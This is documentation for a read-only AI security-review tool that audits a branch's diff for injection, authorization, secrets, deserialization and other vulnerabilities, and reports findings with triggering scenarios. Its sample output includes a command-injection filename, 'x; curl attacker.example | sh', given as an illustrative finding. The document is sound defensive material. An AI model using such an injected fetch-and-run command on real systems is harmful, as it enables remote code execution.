Security review#
A security review audits what your branch changed, not what your repository contains. It collects everything since the branch's baseline — commits, staged changes, unstaged edits, and files you have not added yet — and hands it to a read-only agent that looks for vulnerabilities the change introduced. A weakness that already existed and that the branch merely moved past is left alone, so what comes back is a list you can act on before you open a pull request.
Run it from the Functions panel as run_security_review, or call it from Python:
from openprogram.functions.agentics.security_review import run_security_review
result = run_security_review()
Choosing the baseline#
With no base argument, the baseline is picked the way a reviewer would pick it:
- the merge base with the branch's configured upstream — what the branch will actually be compared against when it is proposed;
- failing that, the merge base with a default branch (
origin/HEAD,origin/main,origin/master, then their local names) — the same answer for a branch that has not been pushed yet.
A repository with neither raises NoBaselineError naming what was missing. It does not fall back to HEAD~1 or the root commit: a guessed range reviews the wrong changes and says nothing about having done so. Pass the baseline yourself when you want a specific range:
run_security_review(base="v2.1.0")
What is collected#
One diff against the working tree, so committed, staged and unstaged changes all land in the same review — you get the same answer whether or not you committed first. Untracked files are diffed in as well, because a new file is where a hardcoded secret is most likely to be and a plain diff cannot see it. Ignored files stay out, so build output and vendored trees never enter the review, and the index you are composing is never touched.
A branch with nothing changed returns no findings immediately, without spending an agent turn. A diff too large to review in one pass is truncated with the cut stated in the prompt, so the reviewer reports on what it actually saw.
What is reviewed#
The reviewer works through these classes against the changed code:
| Class | Examples |
|---|---|
| Injection | SQL built by concatenation, shell=True with interpolated arguments, path traversal, SSRF, template and header injection |
| Authentication and authorization | A new route without its siblings' check, an object fetched by request id without an ownership check, a role or tenant check weakened or moved after the effect it guards |
| Secrets and sensitive data | Keys and tokens hardcoded or committed to fixtures, credentials written to logs or exception text, secrets passed as command-line arguments |
| Unsafe deserialization and dynamic execution | pickle, yaml.load without SafeLoader, eval and exec, dispatch on caller-supplied attribute names, XML with external entities |
| Concurrency and TOCTOU | A check separated from the action it guards, shared state touched without a lock, temp files created by name |
| Resource exhaustion | Unbounded reads and archive extraction, caller-controlled allocation sizes, catastrophic regex backtracking, missing outbound timeouts |
| Dependencies and supply chain | A new dependency unpinned or from a non-canonical index, a build step piping a remote script to a shell, verification disabled |
| Error handling and disclosure | Stack traces and internal paths returned to callers, swallowed exceptions that turn a failed check into a success |
The diff is a window rather than the whole program, so the reviewer reads the surrounding source before deciding: where the input comes from, whether it is validated upstream, who calls the function, what the sink does. That is what separates a dangerous-looking pattern that is fine in context from a plain-looking line that is a bug once you see its caller.
Read-only by construction#
The review agent gets read, grep, glob, list and bash — no write, edit, apply_patch, or agent spawning. A reviewer that can write is a reviewer that can "fix" what it thinks it found, and a security opinion is worth nothing if producing it changed the thing under review. Fixes come back as recommendations for you to apply.
What it returns#
{"base": "a1b2c3d…", "files_reviewed": 7, "findings": [
{"severity": "critical",
"file": "api/users.py",
"line": 42,
"title": "Command injection through the export filename",
"scenario": "An authenticated caller sets filename to `x; curl attacker.example | sh`; the value reaches subprocess with shell=True and runs as the service account.",
"recommendation": "Pass the argument list to subprocess without shell=True, and reject filenames outside [A-Za-z0-9._-]."},
]}
Findings come ordered with critical first. Severity is about consequence:
| Severity | Meaning |
|---|---|
critical |
Remote code execution, authentication bypass, or mass data exposure, reachable unauthenticated |
high |
Privilege escalation, exposure of another user's data, or a leaked live credential |
medium |
Exploitable only with valid credentials, an unlikely configuration, or another bug chained in |
low |
Hardening: defence in depth, a weak default, information mildly useful to an attacker |
Every finding carries a concrete triggering scenario — who sends what, through which entry point, and what they get. A finding whose scenario cannot be written is dropped rather than reported vaguely.
An empty findings list is a normal result and means the change looks clean. The reviewer is told plainly not to promote an observation to a vulnerability in order to have something to report, because a review that invents findings costs you more than one that finds nothing.
Compared to a code review#
This is a security review, not a code review: style, missing tests, and design opinions are out of scope, and so is any weakness the branch did not touch. Use it as the last pass before proposing a change, alongside whatever review your team already runs.